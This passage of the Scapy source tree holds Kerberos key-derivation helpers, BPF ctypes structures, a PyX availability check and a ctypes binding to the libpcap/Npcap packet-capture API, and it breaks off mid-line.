seed. """ try: ep = _enctypes[etype] except ValueError: raise ValueError("Unknown etype '%s'" % etype) if len(seed) != ep.seedsize: raise ValueError("Wrong crypto seed length") return ep.random_to_key(seed) @classmethod def new_random_key(cls, etype): # type: (EncryptionType) -> Key """ Generates a seed then calls random-to-key """ try: ep = _enctypes[etype] except ValueError: raise ValueError("Unknown etype '%s'" % etype) return cls.random_to_key(etype, os.urandom(ep.seedsize)) @classmethod def string_to_key(cls, etype, string, salt, params=None): # type: (EncryptionType, bytes, bytes, Optional[bytes]) -> Key """ string-to-key per RFC3961 This is typically used to create a Key object from a password + salt """ try: ep = _enctypes[etype] except ValueError: raise ValueError("Unknown etype '%s'" % etype) return ep.string_to_key(string, salt, params) ############ # RFC 6113 # ############ def KRB_FX_CF2(key1, key2, pepper1, pepper2): # type: (Key, Key, bytes, bytes) -> Key """ KRB-FX-CF2 RFC6113 """ def prfplus(key, pepper): # type: (Key, bytes) -> bytes # Produce l bytes of output using the RFC 6113 PRF+ function. out = b"" count = 1 while len(out) < key.ep.seedsize: out += key.prf(chb(count) + pepper) count += 1 return out[: key.ep.seedsize] return Key( key1.etype, key=bytes( _xorbytes( bytearray(prfplus(key1, pepper1)), bytearray(prfplus(key2, pepper2)) ) ), ) ############ # RFC 4556 # ############ def octetstring2key(etype: EncryptionType, x: bytes) -> Key: """ RFC4556 octetstring2key:: octetstring2key(x) == random-to-key(K-truncate( SHA1(0x00 | x) | SHA1(0x01 | x) | SHA1(0x02 | x) | ... )) """ try: ep = _enctypes[etype] except ValueError: raise ValueError("Unknown etype '%s'" % etype) out = b"" count = 0 while len(out) < ep.keysize: out += Hash_SHA().digest(struct.pack("!B", count) + x) count += 1 return Key.random_to_key( etype=etype, seed=out[:ep.keysize], ) ================================================ FILE: scapy/libs/structures.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information """ Commonly used structures shared across Scapy """ import ctypes class bpf_insn(ctypes.Structure): """"The BPF instruction data structure""" _fields_ = [("code", ctypes.c_ushort), ("jt", ctypes.c_ubyte), ("jf", ctypes.c_ubyte), ("k", ctypes.c_int)] class bpf_program(ctypes.Structure): """"Structure for BIOCSETF""" _fields_ = [('bf_len', ctypes.c_int), ('bf_insns', ctypes.POINTER(bpf_insn))] class sock_fprog(ctypes.Structure): """"Structure for SO_ATTACH_FILTER""" _fields_ = [('len', ctypes.c_ushort), ('filter', ctypes.POINTER(bpf_insn))] ================================================ FILE: scapy/libs/test_pyx.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information """ External link to pyx """ import os import subprocess from scapy.error import log_loading # Notice: this file must not be called before main.py, if started # in interactive mode, because it needs to be called after the # logger has been setup, to be able to print the warning messages __all__ = [ "PYX", ] # PYX def _test_pyx(): # type: () -> bool """Returns if PyX is correctly installed or not""" try: with open(os.devnull, 'wb') as devnull: r = subprocess.check_call(["pdflatex", "--version"], stdout=devnull, stderr=subprocess.STDOUT) except (subprocess.CalledProcessError, OSError): return False else: return r == 0 try: import pyx # noqa: F401 if _test_pyx(): PYX = 1 else: log_loading.info("PyX dependencies are not installed ! Please install TexLive or MikTeX.") # noqa: E501 PYX = 0 except ImportError: log_loading.info("Can't import PyX. Won't be able to use psdump() or pdfdump().") # noqa: E501 PYX = 0 ================================================ FILE: scapy/libs/winpcapy.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Massimo Ciani (2009) # Copyright (C) Gabriel Potter # Modified for scapy's usage - To support Npcap/Monitor mode # # NOTE: the "winpcap" in the name notwithstanding, this is for use # with libpcap on non-Windows platforms, as well as for WinPcap and Npcap. from ctypes import * from ctypes.util import find_library import os from scapy.libs.structures import bpf_program from scapy.consts import WINDOWS, BSD if WINDOWS: # Try to load Npcap, or Winpcap SOCKET = c_uint npcap_folder = os.environ["WINDIR"] + "\\System32\\Npcap" if os.path.exists(npcap_folder): # Try to load npcap os.environ['PATH'] = npcap_folder + ";" + os.environ['PATH'] # Set DLL directory priority windll.kernel32.SetDllDirectoryW(npcap_folder) # Packet.dll is unused, but needs to overwrite the winpcap one if it # exists cdll.LoadLibrary(npcap_folder + "\\Packet.dll") _lib = cdll.LoadLibrary(npcap_folder + "\\wpcap.dll") else: _lib = CDLL("wpcap.dll") del npcap_folder else: # Try to load libpcap SOCKET = c_int _lib_name = find_library("pcap") if not _lib_name: raise OSError("Cannot find libpcap.so library") _lib = CDLL(_lib_name) ## # misc ## u_short = c_ushort bpf_int32 = c_int u_int = c_int bpf_u_int32 = u_int pcap = c_void_p pcap_dumper = c_void_p u_char = c_ubyte FILE = c_void_p STRING = c_char_p class bpf_version(Structure): _fields_ = [("bv_major", c_ushort), ("bv_minor", c_ushort)] class timeval(Structure): _fields_ = [('tv_sec', c_long), ('tv_usec', c_long)] # sockaddr is used by pcap_addr. # For example if sa_family==socket.AF_INET then we need cast # with sockaddr_in # sockaddr has a different structure depending on the OS if BSD: # https://github.com/freebsd/freebsd/blob/master/sys/sys/socket.h # https://opensource.apple.com/source/xnu/xnu-201/bsd/sys/socket.h.auto.html class sockaddr(Structure): _fields_ = [("sa_len", c_ubyte), ("sa_family", c_ubyte), ("sa_data", c_ubyte * 14)] class sockaddr_in(Structure): _fields_ = [("sin_len", c_ubyte), ("sin_family", c_ubyte), ("sin_port", c_uint16), ("sin_addr", 4 * c_ubyte), ("sin_zero", 8 * c_char)] class sockaddr_in6(Structure): _fields_ = [("sin6_len", c_ubyte), ("sin6_family", c_ubyte), ("sin6_port", c_uint16), ("sin6_flowinfo", c_uint32), ("sin6_addr", 16 * c_ubyte), ("sin6_scope", c_uint32)] class sockaddr_dl(Structure): _fields_ = [("sdl_len", c_ubyte), ("sdl_family", c_ubyte), ("sdl_index", c_ushort), ("sdl_type", c_ubyte), ("sdl_nlen", c_ubyte), ("sdl_alen", c_ubyte), ("sdl_slen", c_ubyte), ("sdl_data", 46 * c_ubyte)] else: # https://github.com/torvalds/linux/blob/master/include/linux/socket.h # https://docs.microsoft.com/en-us/windows/win32/winsock/sockaddr-2 class sockaddr(Structure): _fields_ = [("sa_family", c_ushort), ("sa_data", c_ubyte * 14)] class sockaddr_in(Structure): _fields_ = [("sin_family", c_ushort), ("sin_port", c_uint16), ("sin_addr", 4 * c_ubyte)] class sockaddr_in6(Structure): _fields_ = [("sin6_family", c_ushort), ("sin6_port", c_uint16), ("sin6_flowinfo", c_uint32), ("sin6_addr", 16 * c_ubyte), ("sin6_scope", c_uint32)] ## # END misc ## ## # Data Structures ## # struct pcap_file_header # Header of a libpcap dump file. class pcap_file_header(Structure): _fields_ = [('magic', bpf_u_int32), ('version_major', u_short), ('version_minor', u_short), ('thiszone', bpf_int32), ('sigfigs', bpf_u_int32), ('snaplen', bpf_u_int32), ('linktype', bpf_u_int32)] # struct pcap_pkthdr # Header of a packet in the dump file. class pcap_pkthdr(Structure): _fields_ = [('ts', timeval), ('caplen', bpf_u_int32), ('len', bpf_u_int32)] # struct pcap_stat # Structure that keeps statistical values on an interface. class pcap_stat(Structure): pass # _fields_ list in Structure is final. # We need a temp list _tmpList = [("ps_recv", c_uint), ("ps_drop", c_uint), ("ps_ifdrop", c_uint)] if WINDOWS: _tmpList.append(("ps_capt", c_uint)) _tmpList.append(("ps_sent", c_uint)) _tmpList.append(("ps_netdrop", c_uint)) pcap_stat._fields_ = _tmpList # struct pcap_addr # Representation of an interface address, used by pcap_findalldevs(). class pcap_addr(Structure): pass pcap_addr._fields_ = [('next', POINTER(pcap_addr)), ('addr', POINTER(sockaddr)), ('netmask', POINTER(sockaddr)), ('broadaddr', POINTER(sockaddr)), ('dstaddr', POINTER(sockaddr))] # struct pcap_if # Item in a list of interfaces, used by pcap_findalldevs(). class pcap_if(Structure): pass pcap_if._fields_ = [('next', POINTER(pcap_if)), ('name', STRING), ('description', STRING), ('addresses', POINTER(pcap_addr)), ('flags', bpf_u_int32)] ## # END Data Structures ## ## # Defines ## # define PCAP_VERSION_MAJOR 2 # Major libpcap dump file version. PCAP_VERSION_MAJOR = 2 # define PCAP_VERSION_MINOR 4 # Minor libpcap dump file version. PCAP_VERSION_MINOR = 4 # define PCAP_ERRBUF_SIZE 256 # Size to use when allocating the buffer that contains the libpcap errors. PCAP_ERRBUF_SIZE = 256 # define PCAP_IF_LOOPBACK 0x00000001 # interface is loopback PCAP_IF_LOOPBACK = 1 # define MODE_CAPT 0 # Capture mode, to be used when calling pcap_setmode(). MODE_CAPT = 0 # define MODE_STAT 1 # Statistical mode, to be used when calling pcap_setmode(). MODE_STAT = 1 # Error codes for the pcap API. # These will all be negative, so you can check for the success or # failure of a call that returns these codes by checking for a # negative value. # # generic error code # define PCAP_ERROR -1 PCAP_ERROR = -1 # loop terminated by pcap_breakloop # define PCAP_ERROR_BREAK -2 PCAP_ERROR_BREAK = -2 # the capture needs to be activated # define PCAP_ERROR_NOT_ACTIVATED -3 PCAP_ERROR_NOT_ACTIVATED = -3 # the operation can't be performed on already activated captures # define PCAP_ERROR_ACTIVATED -4 PCAP_ERROR_ACTIVATED = -4 # no such device exists # define PCAP_ERROR_NO_SUCH_DEVICE -5 PCAP_ERROR_NO_SUCH_DEVICE = -5 # this device doesn't support rfmon (monitor) mode */ # define PCAP_ERROR_RFMON_NOTSUP -6 PCAP_ERROR_RFMON_NOTSUP = -6 # operation supported only in monitor mode # define PCAP_ERROR_NOT_RFMON -7 PCAP_ERROR_NOT_RFMON = -7 # no permission to open the device # define PCAP_ERROR_PERM_DENIED -8 PCAP_ERROR_PERM_DENIED = -8 # interface isn't up # define PCAP_ERROR_IFACE_NOT_UP -9 PCAP_ERROR_IFACE_NOT_UP = -9 # define PCAP_ERROR_CANTSET_TSTAMP_TYPE -10 # this device doesn't support setting the time stamp type # you don't have permission to capture in promiscuous mode # define PCAP_ERROR_PROMISC_PERM_DENIED -11 PCAP_ERROR_PROMISC_PERM_DENIED = -11 # the requested time stamp precision is not supported # define PCAP_ERROR_TSTAMP_PRECISION_NOTSUP -12 PCAP_ERROR_TSTAMP_PRECISION_NOTSUP = -12 # Warning codes for the pcap API. # These will all be positive and non-zero, so they won't look like # errors. # generic warning code # define PCAP_WARNING 1 PCAP_WARNING = 1 # this device doesn't support promiscuous mode # define PCAP_WARNING_PROMISC_NOTSUP 2 PCAP_WARNING_PROMISC_NOTSUP = 2 # the requested time stamp type is not supported # define PCAP_WARNING_TSTAMP_TYPE_NOTSUP 3 PCAP_WARNING_TSTAMP_TYPE_NOTSUP = 3 ## # END Defines ## ## # Typedefs ## # typedef int bpf_int32 (already defined) # 32-bit integer # typedef u_int bpf_u_int32 (already defined) # 32-bit unsigned integer # typedef struct pcap pcap_t # Descriptor of an open capture instance. This structure is opaque to the # user, that handles its content through the functions provided by # wpcap.dll. pcap_t = pcap # typedef struct pcap_dumper pcap_dumper_t # libpcap savefile descriptor. pcap_dumper_t = pcap_dumper # typedef struct pcap_if pcap_if_t # Item in a list of interfaces, see pcap_if. pcap_if_t = pcap_if # typedef struct pcap_addr pcap_addr_t # Representation of an interface address, see pcap_addr. pcap_addr_t = pcap_addr ## # END Typedefs ## # values for enumeration 'pcap_direction_t' # pcap_direction_t = c_int # enum ## # Unix-compatible Functions # These functions are part of the libpcap library, and therefore work both on Windows and on Linux. ## # typedef void(* pcap_handler )(u_char *user, const struct pcap_pkthdr *pkt_header, const u_char *pkt_data) # Prototype of the callback function that receives the packets. # This one is defined from programmer pcap_handler = CFUNCTYPE( None, POINTER(c_ubyte), POINTER(pcap_pkthdr), POINTER(c_ubyte) ) # pcap_t * pcap_open_live (const char *device, int snaplen, int promisc, int to_ms, char *ebuf) # Open a live capture from the network. pcap_open_live = _lib.pcap_open_live pcap_open_live.restype = POINTER(pcap_t) pcap_open_live.argtypes = [STRING, c_int, c_int, c_int, STRING] # pcap_t * pcap_open_dead (int linktype, int snaplen) # Create a pcap_t structure without starting a capture. pcap_open_dead = _lib.pcap_open_dead pcap_open_dead.restype = POINTER(pcap_t) pcap_open_dead.argtypes = [c_int, c_int] # pcap_t * pcap_open_offline (const char *fname, char *errbuf) # Open a savefile in the tcpdump/libpcap format to read packets. pcap_open_offline = _lib.pcap_open_offline pcap_open_offline.restype = POINTER(pcap_t) pcap_open_offline.argtypes = [STRING, STRING] try: # Functions not available on WINPCAP # int pcap_set_rfmon (pcap_t *p) # sets whether monitor mode should be set on a capture handle when the # handle is activated. pcap_set_rfmon = _lib.pcap_set_rfmon pcap_set_rfmon.restype = c_int pcap_set_rfmon.argtypes = [POINTER(pcap_t), c_int] # int pcap_create (pcap_t *p) # create a packet capture handle to look at packets on the network. pcap_create = _lib.pcap_create pcap_create.restype = POINTER(pcap_t) pcap_create.argtypes = [STRING, STRING] # int pcap_set_snaplen(pcap_t *p, int snaplen) # set the snapshot length for a not-yet-activated capture handle pcap_set_snaplen = _lib.pcap_set_snaplen pcap_set_snaplen.restype = c_int pcap_set_snaplen.argtypes = [POINTER(pcap_t), c_int] # int pcap_set_promisc(pcap_t *p, int promisc) # set promiscuous mode for a not-yet-activated capture handle pcap_set_promisc = _lib.pcap_set_promisc pcap_set_promisc.restype = c_int pcap_set_promisc.argtypes = [POINTER(pcap_t), c_int] # int pcap_set_timeout(pcap_t *p, int to_ms) # set the packet buffer timeout for a not-yet-activated capture handle pcap_set_timeout = _lib.pcap_set_timeout pcap_set_timeout.restype = c_int pcap_set_timeout.argtypes = [POINTER(pcap_t), c_int] # int pcap_activate(pcap_t *p) # activate a capture handle pcap_activate = _lib.pcap_activate pcap_activate.restype = c_int pcap_activate.argtypes = [POINTER(pcap_t)] # int pcap_inject (pcap_t *p, u_char *buf, int size) # Send a raw packet. pcap_inject = _lib.pcap_inject pcap_inject.restype = c_int pcap_inject.argtypes = [POINTER(pcap_t), c_void_p, c_int] # const char * pcap_statustostr (int error) # print the text of the status (error or warning) corresponding to error. pcap_statustostr = _lib.pcap_statustostr pcap_statustostr.restype = STRING pcap_statustostr.argtypes = [c_int] # int pcap_set_buffer_size(pcap_t *p, int buffer_size) # set the buffer size for a not-yet-activated capture handle pcap_set_buffer_size = _lib.pcap_set_buffer_size pcap_set_buffer_size.restype = c_int pcap_set_buffer_size.argtypes = [POINTER(pcap_t), c_int] except AttributeError: pass # pcap_dumper_t * pcap_dump_open (pcap_t *p, const char *fname) # Open a file to write packets. pcap_dump_open = _lib.pcap_dump_open pcap_dump_open.restype = POINTER(pcap_dumper_t) pcap_dump_open.argtypes = [POINTER(pcap_t), STRING] # int pcap_setnonblock (pcap_t *p, int nonblock, char *errbuf) # Switch between blocking and nonblocking mode. pcap_setnonblock = _lib.pcap_setnonblock pcap_setnonblock.restype = c_int pcap_setnonblock.argtypes = [POINTER(pcap_t), c_int, STRING] # int pcap_getnonblock (pcap_t *p, char *errbuf) # Get the "non-blocking" state of an interface. pcap_getnonblock = _lib.pcap_getnonblock pcap_getnonblock.restype = c_int pcap_getnonblock.argtypes = [POINTER(pcap_t), STRING] # int pcap_findalldevs (pcap_if_t **alldevsp, char *errbuf) # Construct a list of network devices that can be opened with # pcap_open_live(). pcap_findalldevs = _lib.pcap_findalldevs pcap_findalldevs.restype = c_int pcap_findalldevs.argtypes = [POINTER(POINTER(pcap_if_t)), STRING] # void pcap_freealldevs (pcap_if_t *alldevsp) # Free an interface list returned by pcap_findalldevs(). pcap_freealldevs = _lib.pcap_freealldevs pcap_freealldevs.restype = None pcap_freealldevs.argtypes = [POINTER(pcap_if_t)] # char * pcap_lookupdev (char *errbuf) # Return the first valid device in the system. pcap_lookupdev = _lib.pcap_lookupdev pcap_lookupdev.restype = STRING pcap_lookupdev.argtypes = [STRING] # int pcap_lookupnet (const char *device, bpf_u_int32 *netp, bpf_u_int32 *maskp, char *errbuf) # Return the subnet and netmask of an interface. pcap_lookupnet = _lib.pcap_lookupnet pcap_lookupnet.restype = c_int pcap_lookupnet.argtypes = [ STRING, POINTER(bpf_u_int32), POINTER(bpf_u_int32), STRING ] # int pcap_dispatch (pcap_t *p, int cnt, pcap_handler callback, u_char *user) # Collect a group of packets. pcap_dispatch = _lib.pcap_dispatch pcap_dispatch.restype = c_int pcap_dispatch.argtypes = [ POINTER(pcap_t), c_int, pcap_handler, POINTER(u_char) ] # int pcap_loop (pcap_t *p, int cnt, pcap_handler callback, u_char *user) # Collect a group of packets. pcap_loop = _lib.pcap_loop pcap_loop.restype = c_int pcap_loop.argtypes = [POINTER(pcap_t), c_int, pcap_handler, POINTER(u_char)] # u_char * pcap_next (pcap_t *p, struct pcap_pkthdr *h) # Return the next available packet. pcap_next = _lib.pcap_next pcap_next.restype = POINTER(u_char) pcap_next.argtypes = [POINTER(pcap_t), POINTER(pcap_pkthdr)] # int pcap_next_ex (pcap_t *p, struct pcap_pkthdr **pkt_header, const u_char **pkt_data) # Read a packet from an interface or from an offline capture. pcap_next_ex = _lib.pcap_next_ex pcap_next_ex.restype = c_int pcap_next_ex.argtypes = [ POINTER(pcap_t), POINTER( POINTER(pcap_pkthdr) ), POINTER( POINTER(u_char) ) ] # void pcap_breakloop (pcap_t *) # set a flag that will force pcap_dispatch() or pcap_loop() to return # rather than looping. pcap_breakloop = _lib.pcap_breakloop pcap_breakloop.restype = None pcap_breakloop.argtypes = [POINTER(pcap_t)] # int pcap_sendpacket (pcap_t *p, u_char *buf, int size) # Send a raw packet, but it returns 0 on success, # rather than returning the number of bytes written. pcap_sendpacket = _lib.pcap_sendpacket pcap_sendpacket.restype = c_int pcap_sendpacket.argtypes = [POINTER(pcap_t), c_void_p, c_int] # void pcap_dump (u_char *user, const struct pcap_pkthdr *h, const u_char *sp) # Save a packet to disk. pcap_dump = _lib.pcap_dump pcap_dump.restype = None pcap_dump.argtypes = [ POINTER(pcap_dumper_t), POINTER(pcap_pkthdr), POINTER(u_char) ] # long pcap_dump_ftell (pcap_dumper_t *) # Return the file position for a "savefile". pcap_dump_ftell = _lib.pcap_dump_ftell pcap_dump_ftell.restype = c_long pcap_dump_ftell.argtypes = [POINTER(pcap_dumper_t)] # int pcap_compile (pcap_t *p, struct bpf_program *fp, char *str, int optimize, bpf_u_int32 netmask) # Compile a packet filter, converting an high level filtering expression # (see Filtering expression syntax) in a program that can be interpreted # by the kernel-level filtering engine. pcap_compile = _lib.pcap_compile pcap_compile.restype = c_int pcap_compile.argtypes = [ POINTER(pcap_t), POINTER(bpf_program), STRING, c_int, bpf_u_int32] # int pcap_compile_nopcap (int snaplen_arg, int linktype_arg, struct bpf_program *program, char *buf, int optimize, bpf_u_int32 mask) # Compile a packet filter without the need of opening an adapter. This # function converts an high level filtering expression (see Filtering # expression syntax) in a program that can be interpreted by the # kernel-level filtering engine. pcap_compile_nopcap = _lib.pcap_compile_nopcap pcap_compile_nopcap.restype = c_int pcap_compile_nopcap.argtypes = [ c_int, c_int, POINTER(bpf_program), STRING, c_int, bpf_u_int32 ] # int pcap_setfilter (pcap_t *p, struct bpf_program *fp) # Associate a filter to a capture. pcap_setfilter = _lib.pcap_setfilter pcap_setfilter.restype = c_int pcap_setfilter.argtypes = [POINTER(pcap_t), POINTER(bpf_program)] # void pcap_freecode (struct bpf_program *fp) # Free a filter. pcap_freecode = _lib.pcap_freecode pcap_freecode.restype = None pcap_freecode.argtypes = [POINTER(bpf_program)] # int pcap_datalink (pcap_t *p) # Return the link layer of an adapter. pcap_datalink = _lib.pcap_datalink pcap_datalink.restype = c_int pcap_datalink.argtypes = [POINTER(pcap_t)] # int pcap_list_datalinks (pcap_t *p, int **dlt_buf) # list datalinks pcap_list_datalinks = _lib.pcap_list_datalinks pcap_list_datalinks.restype = c_int # pcap_list_datalinks.argtypes = [POINTER(pcap_t), POINTER(POINTER(c_int))] # int pcap_set_datalink (pcap_t *p, int dlt) # Set the current data link type of the pcap descriptor to the type # specified by dlt. -1 is returned on failure. pcap_set_datalink = _lib.pcap_set_datalink pcap_set_datalink.restype = c_int pcap_set_datalink.argtypes = [POINTER(pcap_t), c_int] # int pcap_datalink_name_to_val (const char *name) # Translates a data link type name, which is a DLT_ name with the DLT_ # removed, to the corresponding data link type value. The translation is # case-insensitive. -1 is returned on failure. pcap_datalink_name_to_val = _lib.pcap_datalink_name_to_val pcap_datalink_name_to_val.restype = c_int pcap_datalink_name_to_val.argtypes = [STRING] # const char * pcap_datalink_val_to_name (int dlt) # Translates a data link type value to the corresponding data link type # name. NULL is returned on failure. pcap_datalink_val_to_name = _lib.pcap_datalink_val_to_name pcap_datalink_val_to_name.restype = STRING pcap_datalink_val_to_name.argtypes = [c_int] # const char * pcap_datalink_val_to_description (int dlt) # Translates a data link type value to a short description of that data # link type. NULL is returned on failure. pcap_datalink_val_to_description = _lib.pcap_datalink_val_to_description pcap_datalink_val_to_description.restype = STRING pcap_datalink_val_to_description.argtypes = [c_int] # int pcap_snapshot (pcap_t *p) # Return the dimension of the packet portion (in bytes) that is delivered # to the application. pcap_snapshot = _lib.pcap_snapshot pcap_snapshot.restype = c_int pcap_snapshot.argtypes = [POINTER(pcap_t)] # int pcap_is_swapped (pcap_t *p) # returns true if the current savefile uses a different byte order than # the current system. pcap_is_swapped = _lib.pcap_is_swapped pcap_is_swapped.restype = c_int pcap_is_swapped.argtypes = [POINTER(pcap_t)] # int pcap_major_version (pcap_t *p) # return the major version number of the pcap library used to write the # savefile. pcap_major_version = _lib.pcap_major_version pcap_major_version.restype = c_int pcap_major_version.argtypes = [POINTER(pcap_t)] # int pcap_minor_version (pcap_t *p) # return the minor version number of the pcap library used to write the # savefile. pcap_minor_version = _lib.pcap_minor_version pcap_minor_version.restype = c_int pcap_minor_version.argtypes = [POINTER(pcap_t)] # FILE * pcap_file (pcap_t *p) # Return the standard stream of an offline capture. pcap_file = _lib.pcap_file pcap_file.restype = FILE pcap_file.argtypes = [POINTER(pcap_t)] # int pcap_stats (pcap_t *p, struct pcap_stat *ps) # Return statistics on current capture. pcap_stats = _lib.pcap_stats pcap_stats.restype = c_int pcap_stats.argtypes = [POINTER(pcap_t), POINTER(pcap_stat)] # void pcap_perror (pcap_t *p, char *prefix) # print the text of the last pcap library error on stderr, prefixed by # prefix. pcap_perror = _lib.pcap_perror pcap_perror.restype = None pcap_perror.argtypes = [POINTER(pcap_t), STRING] # char * pcap_geterr (pcap_t *p) # return the error text pertaining to the last pcap library error. pcap_geterr = _lib.pcap_geterr pcap_geterr.restype = STRING pcap_geterr.argtypes = [POINTER(pcap_t)] # char * pcap_strerror (int error) # Provided in case strerror() isn't available. pcap_strerror = _lib.pcap_strerror pcap_strerror.restype = STRING pcap_strerror.argtypes = [c_int] # const char * pcap_lib_version (void) # Returns a pointer to a string giving information about the version of # the libpcap library being used; note that it contains more information # than just a version number. pcap_lib_version = _lib.pcap_lib_version pcap_lib_version.restype = STRING pcap_lib_version.argtypes = [] # void pcap_close (pcap_t *p) # close the files associated with p and deallocates resources. pcap_close = _lib.pcap_close pcap_close.restype = None pcap_close.argtypes = [POINTER(pcap_t)] # FILE * pcap_dump_file (pcap_dumper_t *p) # return the standard I/O stream of the 'savefile' opened by # pcap_dump_open(). pcap_dump_file = _lib.pcap_dump_file pcap_dump_file.restype = FILE pcap_dump_file.argtypes = [POINTER(pcap_dumper_t)] # int pcap_dump_flush (pcap_dumper_t *p) # Flushes the output buffer to the ``savefile,'' so that any packets # written with pcap_dump() but not yet written to the ``savefile'' will be # written. -1 is returned on error, 0 on success. pcap_dump_flush = _lib.pcap_dump_flush pcap_dump_flush.restype = c_int pcap_dump_flush.argtypes = [POINTER(pcap_dumper_t)] # void pcap_dump_close (pcap_dumper_t *p) # Closes a savefile. pcap_dump_close = _lib.pcap_dump_close pcap_dump_close.restype = None pcap_dump_close.argtypes = [POINTER(pcap_dumper_t)] if not WINDOWS: # int pcap_get_selectable_fd(pcap_t, *p) # Returns, on UNIX, a file descriptor number for a file descriptor on # which one can do a select(), poll(). -1 is returned if no such # descriptor exists. pcap_get_selectable_fd = _lib.pcap_get_selectable_fd pcap_get_selectable_fd.restype = c_int pcap_get_selectable_fd.argtypes = [POINTER(pcap_t)] ########################################### # Windows-specific Extensions # The functions in this section extend libpcap to offer advanced functionalities # (like remote packet capture, packet buffer size variation or high-precision packet injection). # However, at the moment they can be used only in Windows. ########################################### if WINDOWS: HANDLE = c_void_p ############## # Identifiers related to the new source syntax ############## # define PCAP_SRC_FILE 2 # define PCAP_SRC_IFLOCAL 3 # define PCAP_SRC_IFREMOTE 4 # Internal representation of the type of source in use (file, remote/local # interface). PCAP_SRC_FILE = 2 PCAP_SRC_IFLOCAL = 3 PCAP_SRC_IFREMOTE = 4 ############## # Strings related to the new source syntax ############## # define PCAP_SRC_FILE_STRING "file://" # define PCAP_SRC_IF_STRING "rpcap://" # String that will be used to determine the type of source in use (file, # remote/local interface). PCAP_SRC_FILE_STRING = "file://" PCAP_SRC_IF_STRING = "rpcap://" ############## # Flags defined in the pcap_open() function ############## # define PCAP_OPENFLAG_PROMISCUOUS 1 # Defines if the adapter has to go in promiscuous mode. PCAP_OPENFLAG_PROMISCUOUS = 1 # define PCAP_OPENFLAG_DATATX_UDP 2 # Defines if the data transfer (in case of a remote capture) has to be # done with UDP protocol. PCAP_OPENFLAG_DATATX_UDP = 2 # define PCAP_OPENFLAG_NOCAPTURE_RPCAP 4 PCAP_OPENFLAG_NOCAPTURE_RPCAP = 4 # Defines if the remote probe will capture its own generated traffic. # define PCAP_OPENFLAG_NOCAPTURE_LOCAL 8 PCAP_OPENFLAG_NOCAPTURE_LOCAL = 8 # define PCAP_OPENFLAG_MAX_RESPONSIVENESS 16 # This flag configures the adapter for maximum responsiveness. PCAP_OPENFLAG_MAX_RESPONSIVENESS = 16 ############## # Sampling methods defined in the pcap_setsampling() function ############## # define PCAP_SAMP_NOSAMP 0 # No sampling has to be done on the current capture. PCAP_SAMP_NOSAMP = 0 # define PCAP_SAMP_1_EVERY_N 1 # It defines that only 1 out of N packets must be returned to the user. PCAP_SAMP_1_EVERY_N = 1 # define PCAP_SAMP_FIRST_AFTER_N_MS 2 # It defines that we have to return 1 packet every N milliseconds. PCAP_SAMP_FIRST_AFTER_N_MS = 2 ############## # Authentication methods supported by the RPCAP protocol ############## # define RPCAP_RMTAUTH_NULL 0 # It defines the NULL authentication. RPCAP_RMTAUTH_NULL = 0 # define RPCAP_RMTAUTH_PWD 1 # It defines the username/password authentication. RPCAP_RMTAUTH_PWD = 1 ############## # Remote struct and defines ############## # define PCAP_BUF_SIZE 1024 # Defines the maximum buffer size in which address, port, interface names # are kept. PCAP_BUF_SIZE = 1024 # define RPCAP_HOSTLIST_SIZE 1024 # Maximum length of an host name (needed for the RPCAP active mode). RPCAP_HOSTLIST_SIZE = 1024 class pcap_send_queue(Structure): _fields_ = [("maxlen", c_uint), ("len", c_uint), ("buffer", c_char_p)] # struct pcap_rmtauth # This structure keeps the information needed to authenticate the user on a # remote machine class pcap_rmtauth(Structure): _fields_ = [("type", c_int), ("username", c_char_p), ("password", c_char_p)] # struct pcap_samp # This structure defines the information related to sampling class pcap_samp(Structure): _fields_ = [("method", c_int), ("value", c_int)] # PAirpcapHandle pcap_get_airpcap_handle (pcap_t *p) # Returns the AirPcap handler associated with an adapter. This handler can # be used to change the wireless-related settings of the CACE Technologies # AirPcap wireless capture adapters. # bool pcap_offline_filter (struct bpf_program *prog, const struct pcap_pkthdr *header, const u_char *pkt_data) # Returns if a given filter applies to an offline packet. pcap_offline_filter = _lib.pcap_offline_filter pcap_offline_filter.restype = c_bool pcap_offline_filter.argtypes = [ POINTER(bpf_program), POINTER(pcap_pkthdr), POINTER(u_char) ] # int pcap_live_dump (pcap_t *p, char *filename, int maxsize, int maxpacks) # Save a capture to file. pcap_live_dump = _lib.pcap_live_dump pcap_live_dump.restype = c_int pcap_live_dump.argtypes = [POINTER(pcap_t), POINTER(c_char), c_int, c_int] # int pcap_live_dump_ended (pcap_t *p, int sync) # Return the status of the kernel dump process, i.e. tells if one of the # limits defined with pcap_live_dump() has been reached. pcap_live_dump_ended = _lib.pcap_live_dump_ended pcap_live_dump_ended.restype = c_int pcap_live_dump_ended.argtypes = [POINTER(pcap_t), c_int] # struct pcap_stat * pcap_stats_ex (pcap_t *p, int *pcap_stat_size) # Return statistics on current capture. pcap_stats_ex = _lib.pcap_stats_ex pcap_stats_ex.restype = POINTER(pcap_stat) pcap_stats_ex.argtypes = [POINTER(pcap_t), POINTER(c_int)] # int pcap_setbuff (pcap_t *p, int dim) # Set the size of the kernel buffer associated with an adapter. pcap_setbuff = _lib.pcap_setbuff pcap_setbuff.restype = c_int pcap_setbuff.argtypes = [POINTER(pcap_t), c_int] # int pcap_setmode (pcap_t *p, int mode) # Set the working mode of the interface p to mode. pcap_setmode = _lib.pcap_setmode pcap_setmode.restype = c_int pcap_setmode.argtypes = [POINTER(pcap_t), c_int] # int pcap_setmintocopy (pcap_t *p, int size) # Set the minimum amount of data received by the kernel in a single call. pcap_setmintocopy = _lib.pcap_setmintocopy pcap_setmintocopy.restype = c_int pcap_setmintocopy.argtype = [POINTER(pcap_t), c_int] # HANDLE pcap_getevent (pcap_t *p) # Return the handle of the event associated with the interface p. pcap_getevent = _lib.pcap_getevent pcap_getevent.restype = HANDLE pcap_getevent.argtypes = [POINTER(pcap_t)] # pcap_send_queue * pcap_sendqueue_alloc (u_int memsize) # Allocate a send queue. pcap_sendqueue_alloc = _lib.pcap_sendqueue_alloc pcap_sendqueue_alloc.restype = POINTER(pcap_send_queue) pcap_sendqueue_alloc.argtypes = [c_uint] # void pcap_sendqueue_destroy (pcap_send_queue *queue) # Destroy a send queue. pcap_sendqueue_destroy = _lib.pcap_sendqueue_destroy pcap_sendqueue_destroy.restype = None pcap_sendqueue_destroy.argtypes = 